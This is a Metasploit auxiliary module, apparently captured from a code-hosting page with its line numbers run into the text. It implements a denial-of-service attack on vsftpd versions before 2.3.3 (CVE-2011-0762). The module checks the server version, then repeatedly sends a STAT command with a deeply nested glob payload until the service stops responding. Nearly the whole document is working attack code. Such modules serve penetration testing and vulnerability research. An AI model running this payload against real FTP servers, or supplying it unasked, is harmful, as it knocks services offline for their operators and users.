Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/ftp/vsftpd_232.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'VSFTPD 2.3.2 Denial of Service',14'Description' => %q{15This module triggers a Denial of Service condition in the VSFTPD server in16versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.17},18'Author' => [19'Nick Cottrell (Rad10Logic) <ncottrellweb[at]gmail.com>', # Module Creator20'Anna Graterol <annagraterol95[at]gmail.com>', # Vuln researcher21'Mana Mostaani <mana.mostaani[at]gmail.com>',22'Maksymilian Arciemowicz' # Original EDB PoC23],24'License' => MSF_LICENSE,25'References' => [26[ 'BID', '46617' ],27[ 'CVE', '2011-0762' ],28[ 'EDB', '16270' ]29],30'DisclosureDate' => '2011-02-03',31'Notes' => {32'Stability' => [CRASH_SERVICE_DOWN],33'Reliability' => [REPEATABLE_SESSION],34'SideEffects' => []35}36)37)38end3940def check41# attempt to connect42begin43if !connect_login44print_error('Connection refused.')45return Exploit::CheckCode::Unknown46end47rescue Rex::ConnectionRefused48print_error('Connection refused.')49return Exploit::CheckCode::Unknown50rescue Rex::ConnectionTimeout51print_error('Connection timed out')52return Exploit::CheckCode::Unknown53end54s = ''55loop do56# get each line until our desired line shows or end line shows57s = send_cmd(['STAT'], true)58break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")59end60disconnect61# check if version was found62if s !~ /vsFTPd \d+\.\d+\.\d+/63print_error('Did not find ftp version in FTP session.')64return Exploit::CheckCode::Unknown65end6667# pull out version and check if its in range of vulnerability68version = s[/\d+\.\d+\.\d+/]69if Rex::Version.new(version) < Rex::Version.new('2.3.3')70Exploit::CheckCode::Appears71else72Exploit::CheckCode::Safe73end74end7576def run77fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears7879payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 4878081vprint_status("Payload being sent: #{payload}")82print_status('sending payload')8384loop do85print('.')86connect_login8710.times do88send_cmd([payload.to_s], false)89end90send_cmd([payload.to_s], true)91disconnect92rescue Rex::ConnectionTimeout93print("\n")94print_error('Connection timeout! Sending again')95rescue Errno::ECONNRESET96print("\n")97print_error('Connection reset!')98rescue Rex::ConnectionRefused99print("\n")100print_good('Connection refused! Appears DOS attack succeeded.')101rescue EOFError102print("\n")103print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')104break105end106disconnect107end108end109110111